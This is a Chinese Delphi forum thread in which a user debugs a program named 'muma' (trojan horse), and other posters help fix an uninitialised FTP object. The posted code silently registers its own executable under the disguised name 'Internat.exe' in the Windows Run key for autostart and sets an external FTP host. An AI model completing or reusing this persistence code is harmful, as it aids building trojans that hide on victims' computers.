请看看我的程序错在了那里？？ (50分)

  • 主题发起人 主题发起人 ajim
  • 开始时间 开始时间
A

ajim

Unregistered / Unconfirmed
GUEST, unregistred user!
program muma;

uses
windows,Registry,nmftp;

{$R *.res}
var
reg: TRegistry;
ftp: Tnmftp;

begin

ftp.Host:='ftp1.go.163.com';//系统提示ftp没有initialized
WinExec('c:/msconfig.exe', SW_normal);
reg := TRegistry.Create ;
try
Reg.RootKey := HKEY_CURRENT_USER;
if Reg.OpenKey('/Software/Microsoft/Windows/CurrentVersion/Run', True) then
begin
Reg.WriteString('Internat.exe',ParamStr(0));
Reg.CloseKey;
end;
finally
Reg.Free;
end;
end.
 
ftp 没有 Create
 
ftp 怎么建立？？
 
试一试这样行不：
ftp:=tnmftp.create;
ftp.Host:='ftp1.go.163.com';//系统提示ftp没有initialized
WinExec('c:/msconfig.exe', SW_normal);
reg := TRegistry.Create ;
try
Reg.RootKey := HKEY_CURRENT_USER;
if Reg.OpenKey('/Software/Microsoft/Windows/CurrentVersion/Run', True) then
begin
Reg.WriteString('Internat.exe',ParamStr(0));
Reg.CloseKey;
end;
finally
Reg.Free;
ftp.free;
end;
 
没有初始化～
 
请问怎么初始化 、、

还有to荷唐新月:
你的方法是错误的哎~~~
 
ftp :=TNMFtp.Create(self);
 
错的 还是不行 呜呜~~
 
说说有什么错误提示啊？
 
你这是单元文件还是工程文件？？
在ftp.Host:='ftp1.go.163.com';这一句前加上：
Application.Initialize;
 
我的是工程文件
 
肯定是TNMFtp没有Create，但是在控制台程序里，创建的对象的Owner是什么：（
哪位大侠知道？
 
没明白你的代码的意思, 你试试这个.

ftp :=TNMFtp.Create(nil);
 
1。不知道 ftp和reg在你的程序里有什么联系？
2。
〉〉Reg.WriteString('Internat.exe',ParamStr(0)); //这句你应该写不进注册表的吧？
 
是不是21port已经打开了？
或者ftp.163.com无法访问
 
接受答案了.
 
您必须登录或注册才可回复。

Similar threads

I
添加字体资源
回复
0
查看
758
import
I
I
串口列表
回复
0
查看
532
import
I
I
光盘的自动运行
回复
0
查看
422
import
I
I
注册表转化成.REG文件
回复
0
查看
774
import
I
I
IE5Tools.Pas
回复
0
查看
542
import
I
后退
顶部